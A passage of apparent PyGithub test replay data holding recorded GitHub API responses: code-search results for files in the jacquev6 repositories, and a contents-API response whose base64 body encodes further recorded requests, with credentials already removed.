"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.37301153},{"name":"SystemCalls.py","path":"MockMockMock/tests/SystemCalls.py","sha":"03cfea8463802beb2aa81a24444b5c008de033b7","url":"https://api.github.com/repositories/6430524/contents/MockMockMock/tests/SystemCalls.py?ref=55fb8668087ad7461d02ce06ab9113414478801d","git_url":"https://api.github.com/repositories/6430524/git/blobs/03cfea8463802beb2aa81a24444b5c008de033b7","html_url":"https://github.com/jacquev6/MockMockMock/blob/55fb8668087ad7461d02ce06ab9113414478801d/MockMockMock/tests/SystemCalls.py","repository":{"id":6430524,"name":"MockMockMock","full_name":"jacquev6/MockMockMock","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/MockMockMock","description":"Python mock library focusing on very explicit definition of the mocks' behaviour","fork":false,"url":"https://api.github.com/repos/jacquev6/MockMockMock","forks_url":"https://api.github.com/repos/jacquev6/MockMockMock/forks","keys_url":"https://api.github.com/repos/jacquev6/MockMockMock/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MockMockMock/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MockMockMock/teams","hooks_url":"https://api.github.com/repos/jacquev6/MockMockMock/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MockMockMock/events","assignees_url":"https://api.github.com/repos/jacquev6/MockMockMock/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MockMockMock/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/tags","blobs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MockMockMock/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MockMockMock/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MockMockMock/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MockMockMock/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MockMockMock/subscription","commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MockMockMock/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MockMockMock/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/MockMockMock/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MockMockMock/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MockMockMock/merges","archive_url":"https://api.github.com/repos/jacquev6/MockMockMock/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MockMockMock/downloads","issues_url":"https://api.github.com/repos/jacquev6/MockMockMock/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MockMockMock/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MockMockMock/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MockMockMock/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MockMockMock/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MockMockMock/releases{/id}"},"score":0.8953406},{"name":"tests.py","path":"MiniParse/Meta/Generable/tests.py","sha":"c6da48910c3c011fc57f55b0647300ecb2678aab","url":"https://api.github.com/repositories/13732521/contents/MiniParse/Meta/Generable/tests.py?ref=29a4557446adc79ce79ad77d9b2ce3156558ad5e","git_url":"https://api.github.com/repositories/13732521/git/blobs/c6da48910c3c011fc57f55b0647300ecb2678aab","html_url":"https://github.com/jacquev6/MiniParse/blob/29a4557446adc79ce79ad77d9b2ce3156558ad5e/MiniParse/Meta/Generable/tests.py","repository":{"id":13732521,"name":"MiniParse","full_name":"jacquev6/MiniParse","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/MiniParse","description":"Minimal, hence simple, parsing library in Python, with a focus on clear error messages","fork":false,"url":"https://api.github.com/repos/jacquev6/MiniParse","forks_url":"https://api.github.com/repos/jacquev6/MiniParse/forks","keys_url":"https://api.github.com/repos/jacquev6/MiniParse/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MiniParse/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MiniParse/teams","hooks_url":"https://api.github.com/repos/jacquev6/MiniParse/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MiniParse/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MiniParse/events","assignees_url":"https://api.github.com/repos/jacquev6/MiniParse/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MiniParse/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MiniParse/tags","blobs_url":"https://api.github.com/repos/jacquev6/MiniParse/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MiniParse/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MiniParse/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MiniParse/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MiniParse/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MiniParse/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MiniParse/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MiniParse/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MiniParse/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MiniParse/subscription","commits_url":"https://api.github.com/repos/jacquev6/MiniParse/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MiniParse/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MiniParse/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MiniParse/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/MiniParse/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MiniParse/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MiniParse/merges","archive_url":"https://api.github.com/repos/jacquev6/MiniParse/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MiniParse/downloads","issues_url":"https://api.github.com/repos/jacquev6/MiniParse/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MiniParse/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MiniParse/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MiniParse/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MiniParse/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MiniParse/releases{/id}"},"score":1.4732772},{"name":"LexerTestCase.py","path":"MiniParse/Meta/Grammars/HandWrittenEbnf/tests/LexerTestCase.py","sha":"41e85de4d982c4b81ba73aa94e0b87893cfab031","url":"https://api.github.com/repositories/13732521/contents/MiniParse/Meta/Grammars/HandWrittenEbnf/tests/LexerTestCase.py?ref=29a4557446adc79ce79ad77d9b2ce3156558ad5e","git_url":"https://api.github.com/repositories/13732521/git/blobs/41e85de4d982c4b81ba73aa94e0b87893cfab031","html_url":"https://github.com/jacquev6/MiniParse/blob/29a4557446adc79ce79ad77d9b2ce3156558ad5e/MiniParse/Meta/Grammars/HandWrittenEbnf/tests/LexerTestCase.py","repository":{"id":13732521,"name":"MiniParse","full_name":"jacquev6/MiniParse","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/MiniParse","description":"Minimal, hence simple, parsing library in Python, with a focus on clear error messages","fork":false,"url":"https://api.github.com/repos/jacquev6/MiniParse","forks_url":"https://api.github.com/repos/jacquev6/MiniParse/forks","keys_url":"https://api.github.com/repos/jacquev6/MiniParse/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MiniParse/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MiniParse/teams","hooks_url":"https://api.github.com/repos/jacquev6/MiniParse/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MiniParse/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MiniParse/events","assignees_url":"https://api.github.com/repos/jacquev6/MiniParse/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MiniParse/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MiniParse/tags","blobs_url":"https://api.github.com/repos/jacquev6/MiniParse/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MiniParse/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MiniParse/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MiniParse/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MiniParse/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MiniParse/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MiniParse/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MiniParse/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MiniParse/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MiniParse/subscription","commits_url":"https://api.github.com/repos/jacquev6/MiniParse/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MiniParse/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MiniParse/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MiniParse/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/MiniParse/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MiniParse/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MiniParse/merges","archive_url":"https://api.github.com/repos/jacquev6/MiniParse/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MiniParse/downloads","issues_url":"https://api.github.com/repos/jacquev6/MiniParse/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MiniParse/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MiniParse/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MiniParse/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MiniParse/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MiniParse/releases{/id}"},"score":0.5235063},{"name":"ParserTestCase.py","path":"MiniParse/Meta/Grammars/HandWrittenEbnf/tests/ParserTestCase.py","sha":"8668194e0cdf3e70342ff526434f3328e6f3a1b3","url":"https://api.github.com/repositories/13732521/contents/MiniParse/Meta/Grammars/HandWrittenEbnf/tests/ParserTestCase.py?ref=29a4557446adc79ce79ad77d9b2ce3156558ad5e","git_url":"https://api.github.com/repositories/13732521/git/blobs/8668194e0cdf3e70342ff526434f3328e6f3a1b3","html_url":"https://github.com/jacquev6/MiniParse/blob/29a4557446adc79ce79ad77d9b2ce3156558ad5e/MiniParse/Meta/Grammars/HandWrittenEbnf/tests/ParserTestCase.py","repository":{"id":13732521,"name":"MiniParse","full_name":"jacquev6/MiniParse","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/MiniParse","description":"Minimal, hence simple, parsing library in Python, with a focus on clear error messages","fork":false,"url":"https://api.github.com/repos/jacquev6/MiniParse","forks_url":"https://api.github.com/repos/jacquev6/MiniParse/forks","keys_url":"https://api.github.com/repos/jacquev6/MiniParse/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/MiniParse/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/MiniParse/teams","hooks_url":"https://api.github.com/repos/jacquev6/MiniParse/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/MiniParse/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/MiniParse/events","assignees_url":"https://api.github.com/repos/jacquev6/MiniParse/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/MiniParse/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/MiniParse/tags","blobs_url":"https://api.github.com/repos/jacquev6/MiniParse/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/MiniParse/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/MiniParse/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/MiniParse/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/MiniParse/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/MiniParse/languages","stargazers_url":"https://api.github.com/repos/jacquev6/MiniParse/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/MiniParse/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/MiniParse/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/MiniParse/subscription","commits_url":"https://api.github.com/repos/jacquev6/MiniParse/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/MiniParse/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/MiniParse/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/MiniParse/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/MiniParse/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/MiniParse/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/MiniParse/merges","archive_url":"https://api.github.com/repos/jacquev6/MiniParse/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/MiniParse/downloads","issues_url":"https://api.github.com/repos/jacquev6/MiniParse/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/MiniParse/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/MiniParse/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/MiniParse/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/MiniParse/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/MiniParse/releases{/id}"},"score":0.418805}]} https GET api.github.com None /repositories/3544490/contents/github/tests/ReplayData/Commit.setUp.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:5371:8412B70:53140AF7'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '10383'), ('server', 'GitHub.com'), ('last-modified', 'Sun, 07 Jul 2013 15:52:43 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"b14a006b167b6ee8ef3a55e01c63f7d5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 03 Mar 2014 04:54:15 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393823721')] {"name":"Commit.setUp.txt","path":"github/tests/ReplayData/Commit.setUp.txt","sha":"eb063311ef37a1444a98c9f98acfed2b4caaa738","size":6820,"url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/tests/ReplayData/Commit.setUp.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/Commit.setUp.txt","git_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/eb063311ef37a1444a98c9f98acfed2b4caaa738","type":"file","content":"aHR0cHMKR0VUCmFwaS5naXRodWIuY29tCk5vbmUKL3VzZXIKeydBdXRob3Jp\nemF0aW9uJzogJ0Jhc2ljIGxvZ2luX2FuZF9wYXNzd29yZF9yZW1vdmVkJywg\nJ1VzZXItQWdlbnQnOiAnUHlHaXRodWIvUHl0aG9uJ30KbnVsbAoyMDAKWygn\nc3RhdHVzJywgJzIwMCBPSycpLCAoJ3gtcmF0ZWxpbWl0LXJlbWFpbmluZycs\nICc0OTc2JyksICgnY29udGVudC1sZW5ndGgnLCAnODAxJyksICgnc2VydmVy\nJywgJ25naW54LzEuMC4xMycpLCAoJ2Nvbm5lY3Rpb24nLCAna2VlcC1hbGl2\nZScpLCAoJ3gtcmF0ZWxpbWl0LWxpbWl0JywgJzUwMDAnKSwgKCdldGFnJywg\nJyJlYjllMTQ4NjJiYWE3MWMwNGI4ZjBlNzNhYjg3MDc1NiInKSwgKCdkYXRl\nJywgJ1N1biwgMjcgTWF5IDIwMTIgMDY6NTA6NTEgR01UJyksICgnY29udGVu\ndC10eXBlJywgJ2FwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnKV0K\neyJwdWJsaWNfZ2lzdHMiOjMsInR5cGUiOiJVc2VyIiwiZGlza191c2FnZSI6\nMTY5NzYsInByaXZhdGVfZ2lzdHMiOjUsInB1YmxpY19yZXBvcyI6MTEsInVy\nbCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvamFjcXVldjYiLCJ0\nb3RhbF9wcml2YXRlX3JlcG9zIjo1LCJwbGFuIjp7InByaXZhdGVfcmVwb3Mi\nOjUsImNvbGxhYm9yYXRvcnMiOjEsIm5hbWUiOiJtaWNybyIsInNwYWNlIjo2\nMTQ0MDB9LCJibG9nIjoiaHR0cDovL3ZpbmNlbnQtamFjcXVlcy5uZXQiLCJh\ndmF0YXJfdXJsIjoiaHR0cHM6Ly9zZWN1cmUuZ3JhdmF0YXIuY29tL2F2YXRh\nci9iNjhkZTVhZTM4NjE2YzI5NmZhMzQ1ZDJiOWRmMjIyNT9kPWh0dHBzOi8v\nYTI0OC5lLmFrYW1haS5uZXQvYXNzZXRzLmdpdGh1Yi5jb20lMkZpbWFnZXMl\nMkZncmF2YXRhcnMlMkZncmF2YXRhci0xNDAucG5nIiwib3duZWRfcHJpdmF0\nZV9yZXBvcyI6NSwiY29sbGFib3JhdG9ycyI6MCwiY29tcGFueSI6IkNyaXRl\nbyIsImdyYXZhdGFyX2lkIjoiYjY4ZGU1YWUzODYxNmMyOTZmYTM0NWQyYjlk\nZjIyMjUiLCJsb2dpbiI6ImphY3F1ZXY2IiwiZW1haWwiOiJ2aW5jZW50QHZp\nbmNlbnQtamFjcXVlcy5uZXQiLCJoaXJlYWJsZSI6ZmFsc2UsImZvbGxvd2Vy\ncyI6MTMsIm5hbWUiOiJWaW5jZW50IEphY3F1ZXMiLCJjcmVhdGVkX2F0Ijoi\nMjAxMC0wNy0wOVQwNjoxMDowNloiLCJsb2NhdGlvbiI6IlBhcmlzLCBGcmFu\nY2UiLCJiaW8iOiIiLCJpZCI6MzI3MTQ2LCJmb2xsb3dpbmciOjI0LCJodG1s\nX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9qYWNxdWV2NiJ9CgpodHRwcwpH\nRVQKYXBpLmdpdGh1Yi5jb20KTm9uZQovcmVwb3MvamFjcXVldjYvUHlHaXRo\ndWIKeydBdXRob3JpemF0aW9uJzogJ0Jhc2ljIGxvZ2luX2FuZF9wYXNzd29y\nZF9yZW1vdmVkJywgJ1VzZXItQWdlbnQnOiAnUHlHaXRodWIvUHl0aG9uJ30K\nbnVsbAoyMDAKWygnc3RhdHVzJywgJzIwMCBPSycpLCAoJ3gtcmF0ZWxpbWl0\nLXJlbWFpbmluZycsICc0OTc1JyksICgnY29udGVudC1sZW5ndGgnLCAnMTEy\nOScpLCAoJ3NlcnZlcicsICduZ2lueC8xLjAuMTMnKSwgKCdjb25uZWN0aW9u\nJywgJ2tlZXAtYWxpdmUnKSwgKCd4LXJhdGVsaW1pdC1saW1pdCcsICc1MDAw\nJyksICgnZXRhZycsICciMmY0ZDhiMDAzYzVjNGYzOTBiZTJhYzI4ZmU2MjNi\nZGIiJyksICgnZGF0ZScsICdTdW4sIDI3IE1heSAyMDEyIDA2OjUwOjUyIEdN\nVCcpLCAoJ2NvbnRlbnQtdHlwZScsICdhcHBsaWNhdGlvbi9qc29uOyBjaGFy\nc2V0PXV0Zi04JyldCnsiY2xvbmVfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29t\nL2phY3F1ZXY2L1B5R2l0aHViLmdpdCIsImhhc19kb3dubG9hZHMiOnRydWUs\nIndhdGNoZXJzIjoxNSwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vamFj\ncXVldjYvUHlHaXRodWIuZ2l0IiwidXBkYXRlZF9hdCI6IjIwMTItMDUtMjdU\nMDY6MDA6MjlaIiwicGVybWlzc2lvbnMiOnsicHVsbCI6dHJ1ZSwiYWRtaW4i\nOnRydWUsInB1c2giOnRydWV9LCJob21lcGFnZSI6Imh0dHA6Ly92aW5jZW50\nLWphY3F1ZXMubmV0L1B5R2l0aHViIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0\naHViLmNvbS9yZXBvcy9qYWNxdWV2Ni9QeUdpdGh1YiIsImhhc193aWtpIjpm\nYWxzZSwiaGFzX2lzc3VlcyI6dHJ1ZSwiZm9yayI6ZmFsc2UsImZvcmtzIjoz\nLCJtaXJyb3JfdXJsIjpudWxsLCJzaXplIjozMDgsInByaXZhdGUiOmZhbHNl\nLCJvcGVuX2lzc3VlcyI6MTYsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5j\nb20vamFjcXVldjYvUHlHaXRodWIiLCJvd25lciI6eyJ1cmwiOiJodHRwczov\nL2FwaS5naXRodWIuY29tL3VzZXJzL2phY3F1ZXY2IiwiZ3JhdmF0YXJfaWQi\nOiJiNjhkZTVhZTM4NjE2YzI5NmZhMzQ1ZDJiOWRmMjIyNSIsImxvZ2luIjoi\namFjcXVldjYiLCJpZCI6MzI3MTQ2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9z\nZWN1cmUuZ3JhdmF0YXIuY29tL2F2YXRhci9iNjhkZTVhZTM4NjE2YzI5NmZh\nMzQ1ZDJiOWRmMjIyNT9kPWh0dHBzOi8vYTI0OC5lLmFrYW1haS5uZXQvYXNz\nZXRzLmdpdGh1Yi5jb20lMkZpbWFnZXMlMkZncmF2YXRhcnMlMkZncmF2YXRh\nci0xNDAucG5nIn0sIm5hbWUiOiJQeUdpdGh1YiIsImxhbmd1YWdlIjoiUHl0\naG9uIiwiZGVzY3JpcHRpb24iOiJQeXRob24gbGlicmFyeSBpbXBsZW1lbnRp\nbmcgdGhlIGZ1bGwgR2l0aHViIEFQSSB2MyIsInNzaF91cmwiOiJnaXRAZ2l0\naHViLmNvbTpqYWNxdWV2Ni9QeUdpdGh1Yi5naXQiLCJwdXNoZWRfYXQiOiIy\nMDEyLTA1LTI3VDA2OjAwOjI4WiIsImNyZWF0ZWRfYXQiOiIyMDEyLTAyLTI1\nVDEyOjUzOjQ3WiIsImlkIjozNTQ0NDkwLCJodG1sX3VybCI6Imh0dHBzOi8v\nZ2l0aHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1YiIsImZ1bGxfbmFtZSI6Imph\nY3F1ZXY2L1B5R2l0aHViIn0KCmh0dHBzCkdFVAphcGkuZ2l0aHViLmNvbQpO\nb25lCi9yZXBvcy9qYWNxdWV2Ni9QeUdpdGh1Yi9jb21taXRzLzEyOTJiZjBl\nMjJjNzk2ZTkxY2MzZDZlMjRiNTQ0YWVjZThjMjFmMmEKeydBdXRob3JpemF0\naW9uJzogJ0Jhc2ljIGxvZ2luX2FuZF9wYXNzd29yZF9yZW1vdmVkJywgJ1Vz\nZXItQWdlbnQnOiAnUHlHaXRodWIvUHl0aG9uJ30KbnVsbAoyMDAKWygnc3Rh\ndHVzJywgJzIwMCBPSycpLCAoJ3gtcmF0ZWxpbWl0LXJlbWFpbmluZycsICc0\nOTc0JyksICgnY29udGVudC1sZW5ndGgnLCAnMzQ0NScpLCAoJ3NlcnZlcics\nICduZ2lueC8xLjAuMTMnKSwgKCdjb25uZWN0aW9uJywgJ2tlZXAtYWxpdmUn\nKSwgKCd4LXJhdGVsaW1pdC1saW1pdCcsICc1MDAwJyksICgnZXRhZycsICci\nYmNmZDhkNzMzNDY1YjljMjg1MjVlZGZjNzhlZGU1NjQiJyksICgnZGF0ZScs\nICdTdW4sIDI3IE1heSAyMDEyIDA2OjUwOjUyIEdNVCcpLCAoJ2NvbnRlbnQt\ndHlwZScsICdhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04JyldCnsi\ncGFyZW50cyI6W3sic2hhIjoiYjQ2ZWQwZGZkZTVhZDAyZDNiOTFlYjU0YTQx\nYzVlZDk2MDcxMGVhZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20v\ncmVwb3MvamFjcXVldjYvUHlHaXRodWIvY29tbWl0cy9iNDZlZDBkZmRlNWFk\nMDJkM2I5MWViNTRhNDFjNWVkOTYwNzEwZWFlIn1dLCJjb21taXQiOnsibWVz\nc2FnZSI6IlJlbW92ZSBjb21wbGV0aW9uIGZ1bmN0aW9ucyBmcm9tIEdpdEF1\ndGhvciIsImF1dGhvciI6eyJkYXRlIjoiMjAxMi0wNS0wOVQwOToyMjozMy0w\nNzowMCIsIm5hbWUiOiJWaW5jZW50IEphY3F1ZXMiLCJlbWFpbCI6InZpbmNl\nbnRAdmluY2VudC1qYWNxdWVzLm5ldCJ9LCJjb21taXR0ZXIiOnsiZGF0ZSI6\nIjIwMTItMDUtMDlUMDk6MjI6MzMtMDc6MDAiLCJuYW1lIjoiVmluY2VudCBK\nYWNxdWVzIiwiZW1haWwiOiJ2aW5jZW50QHZpbmNlbnQtamFjcXVlcy5uZXQi\nfSwidHJlZSI6eyJzaGEiOiI0YzZiZDUwOTk0ZjBmOTgyM2Y4OThiMWM2Yzk2\nNGFkN2Q0ZmExMWFiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9y\nZXBvcy9qYWNxdWV2Ni9QeUdpdGh1Yi9naXQvdHJlZXMvNGM2YmQ1MDk5NGYw\nZjk4MjNmODk4YjFjNmM5NjRhZDdkNGZhMTFhYiJ9LC